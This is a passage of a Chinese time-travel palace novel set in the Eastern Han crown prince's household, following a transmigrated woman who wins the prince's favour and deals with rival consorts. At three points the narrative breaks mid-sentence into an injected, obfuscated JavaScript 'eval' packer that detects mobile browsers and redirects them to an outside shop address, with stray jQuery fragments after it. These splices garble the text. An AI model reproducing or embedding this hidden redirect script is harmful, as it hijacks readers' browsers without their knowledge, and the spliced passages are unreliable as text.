我无言掀起裙摆向他展示青紫的脚踝和摔破的膝盖:“殿下与马良娣推崇《尚书》,妾怕经典有损,竭力挽救,这才摔坏了腿。后晌正逢您与良娣谈经论道,妾私心想要多留一会儿。” 他十分嘉许地冲我颔首,我望向他的眼神难掩欣喜,正欲开口询问他是否留宿,太子忽然饶有兴趣地笑道:“真正的经典都藏在北宫石室之内,这不过是十几年前兰台誊抄的副本。” “......” 我面色复杂地笑笑:“是吗。” 答完这句话,他敛起笑容,我也垂首不语,兀自拢起敞开的中衣领口。帷幄里氛围不错,可惜陷入了一阵尴尬的沉默。 “夜已深了,不扰你休息。”他转动身体作势站起:“好好养伤,如有需求,可派人告知你姨母身边的女御。” “......” 我心下大惊,身体快于理智做出了抉择——顾不得左腿难以忽视的刺痛,我支使着贾禾阳的身体,迅速扑进太子怀中,双臂收紧在他腰间,如同抓住救命稻草一般。 彼时彼刻,起码在那个重要的夜晚,我尚且不够了解自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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今早没有朝会,陛下也没有唤太子进宫议政,但我清晨还需去面见马良娣。夜漏已尽,宫中鸣鼓报天明,我刚强撑着精神从他怀中抬起脑袋,两只眼睛困到混乱失焦,自纵再躺半刻,结果一觉睡到了正午。 马良娣宫中没人来催促我,太子身边的宦官与詹事也不曾打扰。他起的比我要早,我翻身枕上他的腿,笨拙地调换了个舒服的姿势。 殿下难掩疲惫地捶了捶腰后,伸展肩臂,温和地抚摸我的侧脸,沉吟道:“该起了。” 我坐起身抱住他,又问:“殿下今晚还来姨母殿中吗?” “无事就来。”他起身轻笑道:“倘若来了,不准半夜扰我清梦。” 宦官与女官陆续进屋为太子更衣洗漱,眼下时辰正好,我们二人同用午膳时,他碰巧看见了那只破损断线的风筝。 “上次的风筝是卿丢的。”他语气貌似并不是在询问:“落在阴良娣院内,可是被她告了一状。” 我放下碗筷:“初入东宫,见宜春园宽阔,便请姨母为妾寻了风筝来。不幸冒犯了阴良娣,还好殿下没怪罪。” “最近少府为上巳节做了风筝,我可派人去母后那儿取两只。昨日曲裾也摔破了,告知家令,为卿再做件织锦的。”他道:“只是勿要使马良娣知晓,卿也该谨守宫规,低调些。” “禾阳知道。” 我起身恭敬行礼,知太子昨夜对我相当满意,便小猫似的跪坐在他身边,缠人地抱着他侧颈乱蹭。他放下手中茶盏,将我带进怀中,不由好奇道:“卿与马良娣等人真是亲族所出吗?分明是姐妹姨甥,竟能如此不同。” “倾慕殿下之心相同,可能否表达却不同。”二人唇齿交融半晌,我再次冲他强调道:“殿下在东殿的每刻,妾都不愿浪费。陛下与阴皇后曾夸赞妾美丽,会是个好孺子,也一定会讨得殿下的偏爱,诞下子嗣。” 我枕在他肩上,依旧良久也未得到回应。久到我开始反思自己是否不该提起陛下与皇后之时,环抱着我的太子忽然开口,说出了一句让人意料之外的话—— “母后说得对,卿是个好孺子。”他的手掌轻抚过我脊背,道:“既然如此,再学着做个好良娣吧。” 4. 第四章 恭敬且不舍地送走太子后,我被女御扶进了围屏之后沐浴。 贾禾阳的身量很高,乌发如瀑,皮肤白皙紧致,不愧是侯门出身的女儿。但她毕竟处在后青春期,还不够成熟丰满。不过这绝不算缺陷,随着时间流逝,我确定她会出落得像只初绽的雨露荷花,清香娇柔,更令人欲罢不能。 可惜话说回来,当我确定太子体验感极好的同时,也清楚贾禾阳并不舒适。她的身体没有从昨夜的临幸中体会到多少幸福,快感大多来自我心底对权力的沉醉,不过我只有一个目的,那就是用尽浑身解数服侍太子,但凡顺利达成,疼痛微不足道。 此刻泡在芬芳的热水里,我可以保证,他前半生都没体会过如此令人上瘾的快乐。 我从不苛求贾禾阳,本期盼她也会理解我,可正在此刻,当我阖眼小憩时,一阵剧痛从腹部和胸口涌出,如同有只手在我体内乱搅捶打,痛的我惊呼一声,将受伤的膝盖浸入了水中。 伤口的刺痛更甚,我撑着身体从桶中狼狈爬出,顺手裹上中衣,踉跄地坐到了铜镜之前。 “......” 当我看向镜中纯良的面孔,那些抵抗的念头潮水般攻击着我——贾禾阳的精神抗拒和太子有任何接触,她不愿做良娣,不想进入永安宫。她想要永远不被注意,哪怕做姨母身边一名女御,终身孤老,也不愿成为妃嫔,进入掖庭。 腹中疼痛丝毫不减,她消极的念头在我脑中横冲直撞,活像个失控哭闹的孩子。我利落地抬手扇向自己的脸颊,响亮的声音过后,那声音稍安分了些,身体的疼痛也缓缓减轻,我抬手擦干脖间水痕,急切向肺部吸入冰凉的空气。 不论贾禾阳现在在哪儿,看来她对我争宠的行为非常不满。 我轻喘着望向铜镜,试探问道:“你在吗?” 脑中无人回应。 “你认为自己背叛了马良娣,而这都是我的错,是吗?” “......” 并没有任何声音回应我的问题,一旦她的身体产生念头,我总能敏锐接收到。可以理解,掖庭和永安宫情势复杂,须得一生谨小慎微,贾禾阳不想争斗,也不想和姨母、姐姐共侍一夫。 我对镜问道:“既来之,就安之。假如实在不乐意进入东宫,你当时何不在家引绳自刭而死呢?” 毫不客气地说出这句话,贾禾阳的反抗终于熄了些。我轻抚腹部,检查全身无恙,态度柔和地宽慰道:“我知你不爱太子,也不会强迫你去爱他。但假如你的爱有四分,我就能让他体会到十分,这有什么不好?” “折磨自己的身体毫无意义,你想默默无闻,别人会允许你无闻吗?进入东宫而不争宠,与落水而不呼救没有任何区别。” 我无意识地碰了碰嘴唇,仿佛呢喃般对着空气道:“禾阳,你知道的,马良娣德冠天下,太子未来会选她做皇后,她的儿子也会成为皇帝。我不会令你背叛姨母,她仍然会得到应得的一切,我只想你待遇好些,假如无宠无子,你难道想在丈夫驾崩后守一辈子皇陵吗?” “......” 终于,疼痛的抵抗彻底消失了。 我不认为贾禾阳依然和我共享这幅身体,如果她正在争夺控制权,我一定会知道。 不过经此一闹反而提醒了我,我是钟维,并不是贾禾阳,任她现在在哪里,我们都在替对方过着一种临时生活。倘使她穿到了我位于二十世纪的身体里,我对她只有一个要求——不要自暴自弃,别害死真正的我。 沐浴梳洗过后,我一如往常地去见了马良娣。 作为一院之隔的邻居,她与贾禾苗没可能不清楚昨晚发生了什么、今早又发生了什么。她们没有先行提起,我也默契地维持沉默,握紧手中便面,在胸前轻扇,悉心听从叙话。 我脸上全无傲色,仅绑住太子一夜并不是什么伟大的功绩,我不愿贾禾苗与马良娣因此与我生出芥蒂。 在寒暄谈话期间,马良娣依然恪守初心地教导了我几句,命我好生伺候殿下,早日诞下皇嗣,为汉室延续血脉。我温顺的模样绝不是阳奉阴违,但每每望向她的面孔,我总是竭力想从当中抓出些别的情绪,哪怕是一点点的失落、嫉妒或虚伪也好。 可我基本没读出什么。 贾氏姐妹虽由马氏兄弟联合贾家共同选出,可姨母十三岁便被陛下选入太子身边,如今不过二十五六的年纪,难道就不恨之?难道她心甘情愿接纳我们,看着我们受宠承恩,忍受自己的丈夫黄昏时还在此处与她论及《论语》《尚书》,晚间便去宠幸了一墙之隔的我吗? 我想,人之常情所以有“常”,正因不论古今,各类情绪的规则长久不变。或许她和贾禾阳一样,并没那么深爱太子。 不过相比马良娣,贾禾苗的态度就很微妙了。她显然刻意避免与我有眼神接触,眉目间落寞难掩,分明端正坐在案几前,却没听进马良娣吐出的任何一个字。 太子赏给我的织锦曲裾十分优质,染为樱桃红色,裙上规则绣着鸟尾似的线状银丝样式,腰间玉带配着一只我曾在博物馆见过的类似形制的组玉佩,裙外有轻薄纱衣,触感较现代的纱更软一些,胜在手织,做工极好。 而贾禾苗的目光总注意着我的打扮。 从马良娣房中出来,她礼貌性地与我客套几句,并没缠着一起插科打诨,大抵不愿让贾禾阳觉得她目的不纯、有意攀附。 待后晌回房休息,我便托后院的宦官,将太子赐给我的另一件茱萸纹袿袍赠予她。 刚到晡时,马良娣也令身边女官为我送来了姜粉和羊乳,又摆了几只铜灯、云气纹漆盘和鸟兽托底的织锦座屏进屋。我将食物和饮品收下,选了只小巧轻便、底座稳定,可带进帷幄之中的宫灯,将其余大件全都退了回去。 换做别人,我或许要怀疑对方这么做的目的,但既然是马良娣,我并不以恶意揣测她。 姐姐不是我的敌人,马良娣更不是。此刻的我仍然坚信她会成为皇后,会在不久的未来,为大汉王朝诞下太子。 倚仗有血缘关系的姨母和姐姐,总好过把命运交到别人手里。毕竟太子不属于我们三人里的任何一个,现在不是,未来也没可能,我们不该为一件不属于自己的东西大动干戈。 男人的本性亘古不变,在榻下喜欢贤德持重的,上了榻就想要有趣大胆的。马良娣很好,换作我也会敬重她,可也正因为她太好,难免显得寡淡。 太子过着表演型的人生,天下人皆知他饱读经书,质柔果远,有一代明君之潜力,可他并不是政治机器。他谥号虽为明,如今的史料却将他描绘的过于“明”了,他是个好皇帝,但他也有些不被外人所知、不为史官所道的爱好。 当夜,他并没再到我的院里来,而是召幸我去。 永安宫的主殿明亮宽敞,椒香清淡,我那间逼仄昏暗的屋子无法企及,更难与之并论。太子身边的宦官捣碎草药敷在我的脚踝,为我缠好伤口,引我去后殿浴池。 被我干脆地拒绝了。 白日耽搁的公务拖慢了太子的脚步,我坐在榻上安静等他。今日后晌雒阳下了场短暂的雷雨,空气湿闷,他一定也要沐浴,我独自洗过有什么意思?既然不赶时间,何不一起。 因此,当透过帷幄看到他的身影,我立即兴奋地冲出去抱住他,双腿环在他腰间,与他亲密相依,轻唤殿下。 “又等急了?”他道。 “等你沐浴。”我答。 “我正要去。”他又道。 “妾也正要随您去。”我又答。 太子笑着将我往上托起,于是我的愿望再次顺利达成了。今晚的旖旎较之昨晚也不逊色,受到宠幸之后的待遇显而易见,我仍在权力带来的虚荣感中沉醉不起。当我在榻上婉转起伏之时,恍惚想到独守空房的马良娣与阴良娣,想到至今还未被召幸的贾禾苗,竟产生了一种莫名的骄傲。 事实上,这种情绪极其幼稚,用别人的失意彰显自己的得意,颇小家子气。 我像从小到大对待每场考试、入职后对待每项工作那样服侍太子,但我热爱考试和工作吗?答案是从没爱过,我只是在不得不面对它们的情况下积极对待,期待它们持续为我的人生带来一次次微小的量变。 于是,在榻上与他交缠翻滚时,我总会用尽浑身解数;看到他动情迷恋的模样,我会辅之以沉醉的爱语,夸赞他,依赖他,令他感受到贾良娣对他不容置疑的深爱。 二十世纪末的社会是那么开放、对情爱是那么包容、获取信息的渠道是那么令人耳目缭乱,以我的知识储备和生活常识,很容易便能令他获得灭顶般的快乐。 即将子时夜半,我靠在错金银凭几上小憩片刻,随手取过太子的縠衣穿在身上,为他从肩颈按摩到腰背。 他体型匀称,精壮有力,皮肤较贾禾阳而言略显麦色。我尽心尽力地为他解乏,直至他呼吸平稳地闭上双眼,方才停止。 于是我撤开凭几,压灭烛火,为他盖好衾被,安静地躺在了一旁。 夜间静谧,窗外连天不休的鸟叫也停了,我已疲倦不已,然正欲闭眼时,却敏锐地听到太子的呼吸声微不可察地断了一瞬,貌似并没睡着。 我放松的神经又紧绷起来,心下生出一计,在黑夜中试探似的轻唤道:“殿下?” 他并没回复,我缓了半刻,小心撑起身体,凑得离他更近了些,用指尖轻柔抚过他的发束,在他眉尾处落下了一个亲吻。 太子的呼吸明显放慢了,这下我更加确定他并没入睡,又似狸奴般钻进他怀里,用只有我们二人能听到的声音呢喃道:“殿下,妾很爱你。” 稍会,我的眼泪滴落在他手臂上:“妾不敢入睡,也不舍入睡。无论妾能否一直陪伴殿下,只愿你每夜都能似此刻般安然、美梦。” 语罢,我又缓缓凑近他唇边,似触非触后便安分撤回,钻进他的衾被,闭眼沉沉睡了过去。 就算动作再过分,他都不会被我所吵扰,毕竟装睡的人除非自愿,否则无法被唤醒。而我的迅速入眠却是真的,我知他会在我睡着之后睁开双眼,只有看到真正熟睡的我,才不会怀疑我的行为。 太子是个明智理性的君主,待他需谨慎,更需让他感受到诚挚的情感。 夜漏流尽后的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092509|195492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次日清晨,我以侧卧姿势醒来,面朝帷幄,隐约能看到些房中陈设的轮廓。身上的疲乏尽数散去,太子的手臂从身后环绕着我,身体紧贴我的脊背。 昨夜已听太子舍人对宦者嘱咐过,太子今早需要入朝集议,食时之前就要进宫。此刻天色已然微亮,他该起床准备了。 宦者大抵算好时辰才会来唤醒他,我起身穿衣的动作很轻,待收拾齐整,洗漱过后,殿门被推开的声音方才响起。我绕过屏风前去迎接,冲端进热水、朝服和冠冕等物件的宦者表示辛苦。 太子的亵衣原穿在我身上,我坐在榻边轻柔地将他唤醒,在他缓神时轻摁眼眶与眉骨,为其解乏。 我从帷幄外接过绛衣与外袍,在縠衣外为他套好皂缘中衣,仔细整好衽襟和袪袂,随后便恭敬地跪在榻前的木阶上,为他系好素革带,绕起玉钩燮,在腰侧挂上兽头鞶囊之后,兢兢业业地研究起了手边的四彩朱绶和玉环双绶。 就算是本属这个世界的贾禾阳也没见过这些配饰,帷幄外的宦者见我束手无策,本欲上前解围,却被太子悄然示意不用,任我慢慢研究。 终于将朱绶研究明白,刘庄忽然抬手抚摸我的耳廓,柔声道:“双绶就不佩了,今日议会的主角不是我,不必穿全套冕服。” 我的脸与他腰带平齐,有些惭愧地垂眸抚平朝服衣摆,被他搀扶起来。“奴婢伺候更衣尚且不必跪着,卿腿上还有伤,何必受苦。” “妾手笨。”我环抱他的腰身,答道:“妾没见过太子冕服。” “多穿几次便会了。” 宦者将热水、帛巾与佩兰汤等物端来,侍奉太子揩齿洗脸,我则将坐垫摆在他身后,亲手为他梳头束发,捧起远游冠端正戴好,用手婆娑着冠边垂下的珠串,十分迷恋地凑近他唇边亲吻。 殿中人数不少,但依旧安静,宦者与女官皆弯腰埋首,恭敬举着漆盘,一旦完成自己的工作,便会片刻不留地退到屏风之外。 我与太子如同一对新婚夫妇般沉浸在温存的快乐里,直到辇驾离开永安宫,才有精力注意到殿中来回进入的侍者们。 伺候君主的种种疲乏与恐惧,我很能共情,假如把太子伺候高兴,我好歹能得到恩宠与偏爱,可这些宦者奴婢们却难同妃嫔们一样获益。 刘庄离开后,我获准在丽正殿吃过早膳再离开。本以为又是汤饼煮饼之类的玩意,然这次却吃到了黍米做成的酏粥,甜糯可口,佐以枣脯、葵菜和粢饭,甚至让我的味蕾恍惚回到了二十世纪末的水准。 “良娣若还有喜好,吾等可吩咐庖厨再做些。” “不劳烦常侍,这些就很好。”我停筷感谢道:“近日殿下向我住处赏了不少摆设和衣物,昨夜又烦劳诸位将我引来丽正殿,禾阳旦夕承宠,倘若有尚未知悉的规矩,还请常侍费心。” “良娣既受阴皇后与马良娣教导,又出身胶东侯门,一定聪慧。奴见殿下对您极满意,往后定可盛宠不衰,子嗣满堂。” 这老家伙大概对所有妃嫔都说过同样的话,我当然不信,不过人家既然肯花心思奉承,我也面有愧色地答道:“不求盛宠,只愿能有阴良娣一半的宠爱便好。” “阴良娣与马良娣侍奉殿下有时日了。”他笑道:“良娣勿忧,永安宫的女眷虽多,受宠的却只几个而已,您姿貌出众,留得住殿下。” “永安宫还有过其他良娣吗?”我问:“殿下先前的几个孩子都是其余良娣所出?” 宦者答:“皇孙与公主都是宫人所出,她们现仍奉养在永安宫内,但不大受宠,其中两位已不在人世。” 我闻言点头,没敢再追问。永安宫里的常侍、舍人和女官都是精于算计的主,倘若说多问多,弄巧成拙了反而不美。 迅速解决了早膳后,有个面孔清秀的小宦官从丽正殿外小跑进来,将手中漆盘奉上,清脆的声音格外清晰:“殿下特赐贾良娣榆翟两套,银珠步摇簪三支,金三斤!” 我敛衽躬身,接过那沉甸甸的金盘,待身边清净时,从红绸下捧住满满一抔马蹄金,赠给了太子身边这位年长的、姓曹的宦官,又取出其余四块,顺手塞进了这位少年袖中。 “再谢常侍黄门。”我与二人一起走出殿门,坐上辇车,语气谦逊道:“禾阳与姐姐禾苗的一片心意,望勿嫌弃。” 那小宦者深深垂手行揖礼,抬起稚嫩的脸庞对我说:“贾良娣安,小奴姓郑名众,初入永安宫来,万谢良娣垂青。” 他年纪尚小,双眼亮晶晶,两只脸蛋也红扑扑的。我颇怜爱地冲他笑道:“好孩子,你很机灵,跟在曹常侍身边是你的福分。” 说出这句话的时候,我并不是贾禾阳,而是钟维。我那时将自己对郑众的欣赏看作自然之事,礼物也是顺手赠与,待辇车离开永安宫后,便抛诸脑后了。 谁也不会知道,这个稚嫩清瘦的小宦官会因为扶保贾禾阳的孙辈而青史留名,成为东汉历史上第一个因功封侯的宦官。 好似在无心时播下善种,闲置几十年后,竟有意料之外的收获。 但此刻还无法将目光放得那么远,毕竟属于我跟贾禾阳的战斗,才刚刚开始。 5. 第五章 辇车没有直接回到我的院中,而是按照吩咐,驶到了贾禾苗的门口。我身边目前跟着两位女御,年纪稍长,大概也是皇后与陛下从掖庭分拨出的阿母,她们二人行事刻板,看上去毫不温和,但好在话少尽职,大概只需我不顶撞太子,不冒犯位份更高的马良娣与阴良娣,便不会管我。 在踏入屋门之前,我将那只盛放着赐品的盘子接过,单手攚开了门。 不知从何时起,贾禾苗的屋里竟也不点灯了。 这些院落的地基普遍不高,迈进屋内五步之内尚有光亮,再往里的采光却总是很差,连阅读竹简都费力。原先她还与我抱怨过马良娣因节俭而坐在门廊下读书的行为,这才过去半月,她自己竟也开始白日摸黑了。 我侧身将门阖上,探身望向矮榻,没见她在睡觉,窗边的屏风内也没坐人,几只简轴散开摞在案几上,看上去有些杂乱。 我脚步放轻进入内室,总算看见了贾禾苗的背影。她呆坐在铜镜前一动不动,倚靠着凭几,也并没听到我靠近的动静,我索性走到她身后,与她侧脸相贴,将自己的面孔映进镜中,伸手抚上了她的侧脸。 “哎呀!” 她惊的跪直身体,直发牢骚:“做什么鬼鬼祟祟的,你这家伙!” “你自己听不见,且不点灯,怪我吗?”我把手中的漆盘摆在矮桌上,向她展示道:“喏,步摇我两只,你一只,榆翟一人一套,金锭只剩一块了,也给你。” “......” 贾禾苗捻起一只银步摇,用指肚反复摩挲着上头镶嵌的珍珠,颇惊讶地问:“这都是殿下赏的?” “是。”我小声回道:“卖身不易,总也该赏点东西吧,难道是白伺候他的?” “又这般妄侃了!” 她急切站起关窗,绕过屏风检查一圈过后,没精打采地踱步回妆案前,不住摇头:“既是太子赏你的,我不便取,快收好吧。” 我调笑道:“这次不愿取,上回的织锦曲裾怎么就便宜取了?” 贾禾苗佯怒掐我,忿忿反驳:“一次就够了,难不成令我日日从你那里得奖赏?又不是殿下亲自给的,用着多闹心。” 听她这样说,我索性将榆翟收回,只拿起步摇簪在了她的高髻上:“很漂亮,留着吧。” “你......你昨夜在丽正殿如何?”她问:“太子是个怎样的人?他真像传言那样严苛褊察吗?是否冲你发过脾气?” “我既没犯错,他不会无端冲我发脾气。你要是一直怕他,就永远别想得宠。” 贾禾苗无奈道:“说得好像我愿意怕他似的,若非殿下始终不召幸,我也同你一样信心满满,可他就是不中意我,见你的头日半夜便驾幸东殿,第二日又召幸到丽正殿去,你从前在家里惯是个犟种,竟不知有这样的本事。” 要怪就怪是贾禾阳接纳了我,而不是她。我盯着镜中的两人,不禁感慨虽是同父,可贾禾阳的模样确实要比姐姐美丽许多,亦稍胜过端方贤惠的马良娣。我并不避讳地张口答道:“你不勾引,他怎么上钩呢?” “......”贾禾苗瞠目结舌,良久才痴痴道:“禾阳,你真的和原先不一样了。” 我摆手道:“总之现在还不能为你求宠,殿下聪明,我尚未掌握伺候他的窍门,怕弄巧成拙。但假如他下回再驾幸马良娣那里,你务必多表现。” “殿下只看你不看我,我怎么表现?” “实在不成,你便等我些时日吧。”我道:“刚在丽正殿向曹常侍打听,殿下的四个儿子、一位公主都是宫人和孺子所出,如今已不再受宠了。太子此人并不沉溺美色,阴良娣和马良娣都没孩子,我们的机会还是很多的。” “你确实有机会,说不定很快就会怀上孩子。” 贾禾苗叹息着歪坐在垫上,罕见失态地抱膝长叹:“家里或已得知你被召幸和赏赐之事,祖母与父亲一定很高兴。你我虽非同母所出,但总是姐妹,见你受宠,我也欣慰,起码马氏同贾氏的目的达到了,贾家的女儿不比马家和阴家的差。” “......” 她这番意料之外的话,使我心中顿时涌上一种万分复杂,又十分诡异的情绪。 儿时在北方的院落里,我的角色是糅杂着不值钱血缘关系的小号保姆,让着弟弟是我幼年的日常,托举弟弟则是我人生的主章。尽管祖父母竭力给予我平淡温馨的氛围,但这个普通而贫穷的家庭还是将我培养成了一个坚韧敏感的怪物,我屑于觉得这是所谓的“家族”,永不认可家庭内含的狗屁“荣耀”。 自从找到改变命运的办法,我就像跟老天爷较劲一样,恶狠狠、不顾一切地埋头苦干,不能忍受任何人超越我,我要比家里那个平庸骄纵的男孩厉害百倍千倍,让他仰视我,也让他的父母仰视我。 校园、职场皆如此。 贾禾阳旦夕受宠,一步登天,平日力行节俭的太子每宠幸一次,便给她赏赐些好东西。见此情景,贾禾苗竟不怨恨。 她平静的甚至有些虚伪,我差点以小人之心度她君子之腹,认为她只是刻意这般讲,好揶揄揶揄我罢了。顺便以贾氏的名义提醒我,不要忘了这儿还有个姐姐。 “长姐,假如我成功怀孕,对我们两个而言都是好事。” 我反用她的话开解她:“你我虽非同母所出,但总是姐妹,这个孩子能保护我,也能庇佑你。” 贾禾苗的眼仁提溜一转,凑近我耳边悄声坦诚道:“那我希望你的儿子能做未来的太子,待陛下和殿下百年之后,大汉每代皇帝皆能流淌贾氏的血脉,那才是无上荣耀。” “......” 未来青史留名的马皇后、马太后就住在隔壁,哪儿轮的到我们这两个喽啰。我漫不经心地道了句“借你吉言”,起身拍手问:“少府制的风筝送来了,要不要跟我去宜春苑放风筝?” 她圆若银盘的脸庞终于有了些喜色,双眼亮晶晶地对镜整理发髻,起身招呼道:“走!我还没玩过少府的纸鸢呢!” 自此之后一连整月,夜晚都由我与太子共同分享占据,除过每月二十五前后的月事,太子都会召幸。贾禾阳的身体逐渐适应了这一切,我的精神也彻底适应了她的身体。 陛下与东海王刘强自年初正月二十八日便率群臣从雒阳出发,二月二十九日进入滕州境内,驻跸汉宫。三月十二日抵达奉高县,招募役夫,整修山道,令驺骑垒石建登封台后,于月底在泰山下东南方燔柴祭天,乘辇登岱顶,行封礼。此行耗时许久,人员浩荡,阵仗纷纭,陛下至今还未返程,已数月不曾临朝了。 东海王刘强乃前郭皇后所出,原为太子,后因陛下宠爱阴皇后,有意巩固阴家在新野的故旧势力,于是废郭立阴,改立东海王刘庄为太子,刘强为东海王。 阴氏一族自陛下在南阳发迹时便有拥立之功,经此一事,更风光无两。可陛下待郭家的态度却很暧昧,金钱缣帛千赏万赐,时人竞相称郭家为“金穴”。郭皇后的兄长郭竟、郭匡分封侯新郪侯、发干侯,皆给事禁中。 朝野上下对待这些敏感事宜,往往噤声不语,贾禾阳从没见过前皇后郭圣通,在中宫伺候阴皇后时也不曾闻此秘辛。不过有一点可以肯定,陛下待东海王刘强还是颇为偏爱的。 比如这回前往泰山封禅,他就带着东海王全程随行。 太子留守雒阳本不是稀奇之事,而他近期实在忙碌,起初我还能缠着他夜半或清晨再闹一回,后面竟也唤不醒了。他每次只捉鱼似的将我从被中拎出,顺手抱进臂弯,便重新闭眼睡了过去。 为避免刘庄缺觉,也为自己白日有精神,我逐渐不再招惹他。一年之计在于春,不仅日理万机的未来君主有公务要忙,良娣和孺子们也要在四月时节学礼仪、养蚕织布、勤恳劝农,每日净和布机土壤打交道,连小憩的时间都没有。 马良娣往往以身作则,我和贾禾苗跟在她身边也做得多些。太子并不苛求永安宫内妃嫔做这些事,因此诸如阴良娣这样的宠妃便无需每日出面,甚至做做样子也不经常。 贾禾阳出阁前便熟练织布,这是汉代姑娘遍有的本领,我用起她的身体还算趁手。马良娣每日会留我们两餐饭食,我侍寝晨起侍奉太子来得晚些,只吃午膳,贾禾苗则吃两餐。我们黄昏前和织室的人将蚕幼虫抱去宜春苑的廊亭里晒太阳,也顺便趁此机会放风。 马良娣坐在亭中摆弄着那些柔软的蚕宝宝,我与贾禾苗则撩起曲裾裙摆坐在温明池边贪凉玩水。这池中活水从西北方向的谷水引入永安宫,又往东南方向的鸿池流出,放在两千多年前,工程规模之宏大,可见一斑。 水流还算清澈,我们二人正凑在一起说小话,一只又胖又长的狸奴猝然从山石背后挤进众人的视野里,脚步轻盈地跑入亭中,纵身跳到了晒蚕的细竹篦子上。 马良娣貌似有些怕这小猫,我远看发觉这狸奴指甲很长,怕它戳死无辜幼蚕,于是也顾不得裙摆还在滴水,光脚走到廊边,探手将其托抱了起来。 “那是阴良娣的狸奴。”贾禾苗掩嘴道:“她大概就在园中。” 我诧异道:“既是阴良娣的狸奴,怎么无人打理?指爪如此锋利,养在寝苑中,不怕抓伤太子吗?” “抓伤殿下?” 阴良娣的声音自我们身边十几步的地方传来,和她的狸奴从同一个方向出现。我闻言立即噤声,弯腰放归了那只软肥软肥的猫儿,对着它竖起的尾尖拍了两下。 “整月未受殿下召见,我孤房寂寞,偏这只狸奴又爱四处撒野偷腥,不愿安分,这才忘却令人剪磨它的爪牙。” 我闻弦歌而知雅意,听出了些尖锐的涵义,但既然马良娣与众人都在,怎能表现跋扈。我行了端正的揖礼后便退去一边穿鞋整衣,贾禾苗恭敬地替我解围道:“良娣恕罪,妾与妹妹打小喜欢狸奴,也曾在闺阁中豢养,今时见这小狸主动亲近,马良娣又有些怕,方才斗胆抱起。” 阴良娣昂首睥睨,歪身坐到了马良娣身边,一手持握便面遮脸,一手轻拨弄着盘中柔软的蚕虫。那双细长眉目与阴皇后当真相似,只是多了些高傲,丝毫不见马良娣脸上那般卑微谦逊的神态。 她的眼光两次扫向我赤裸的小腿和脚背,轻哼一声,并没接贾禾苗的话。 “禾苗禾阳新入永安宫,并没有冒犯之举,阴良娣休要为此不快了。”马良娣指着面前的绣布道:“春初正是万物新生的际会,别看这些蚕如今尚且弱小,待吐丝结茧后,织室的宫人便能制出丝滑的绸布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092510|195492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,染上美丽的颜色,成为价值千金之美物。” “是啊,反正这蚕只活一季,待吐了丝,羽化为成虫,几天的功夫便死了。”阴良娣难掩不快道:“换言之,我的猫都能轧死它们。” “......” 在场的女御黄门不独是阴良娣身边的,织室和宜春苑的从事也在,果然是宠妃做派,这样场合也敢给个下马威。我与贾禾苗悻悻对视一眼,终究没敢越俎代庖,在马良娣尚未开口之前回话。 倒是阴良娣身边的阿母笑对:“幼蚕无辜,良娣往年不是最上心养蚕养蜂的事吗?为了只狸猫儿,何必扰了好心情呢!” 有人见势给台阶下,阴良娣的面色好看了些,从织室婢女的手里接过桑叶喂虫。我把脚上鞋袜穿好,挨着马良娣坐下,从她手里分了些叶子,也心不在焉地喂起了面前竹篦里的幼虫。 丽正殿的中黄门从西边的园林里过来了,深躬着身体向马良娣身边的女官传达了什么,我抬眼望去,很快便认出来者正是那天碰见的郑众。他或许注意到我的目光,小心谨慎地抬起额头,冲我露出了一个小心翼翼的微笑。 “诸位夫人。”他道:“殿下召贾良娣去。” 马良娣闻言,温和地冲我道:“去吧,别让殿下等急了。” 我有些局促却迅速地起身揖礼告别,转身随着救我于水火的郑众离开了。不得不承认,这就是获宠的一大好处,虽然阴良娣心里不好受,但由于太子分了一些注意在我身上,她们总不敢待我太过分。 在同为良娣的情况下,就算年龄资历都低她们一头,但起码我有不接话的权力,也有不回话的选择。 刚走出宜春苑,前头带路的郑众忽然扭头轻道:“良娣,殿下今日情绪不高,您若侍奉,稍谨慎些。” 他的声音难掩稚嫩,我答道:“多谢黄门提醒,可知是为何事?” “小奴听曹常侍说,殿下自年初开始便偶尔郁郁,毕竟陛下此次东巡封禅带着东海王同行。”他放慢脚步:“良娣待会儿最好勿多说、勿多问,殿下性情略急躁,您还没见过他发脾气。” 郑众非常坦率,我也直言不讳道:“陛下的身体恐不大好了,太子殿下是怕封禅回京之后,又闹出什么风浪吗?” 他驻足回首与我相视一笑,我问:“郑黄门多大了?哪里生人?” “奴十四,是南阳郡犨县人。”郑众道:“前些年黄河决堤,收成不好,奴的兄长和父亲投奔大族做了荫户,主家是宗亲之后,便选中了小奴进宫伺候太子。” 我点头道:“南阳是帝乡,你也机警聪慧。跟着曹常侍、王常侍办事,多听多学,待殿下登基即位,前途无量。” 少年有些局促地环顾四周,小心透露:“良娣是聪明人,看似守拙,实则赤诚。但小奴还是斗胆谏言,此类有关陛下和殿下的议论千万休在外人跟前谈起,永安宫中人不知底细,切记小心。” 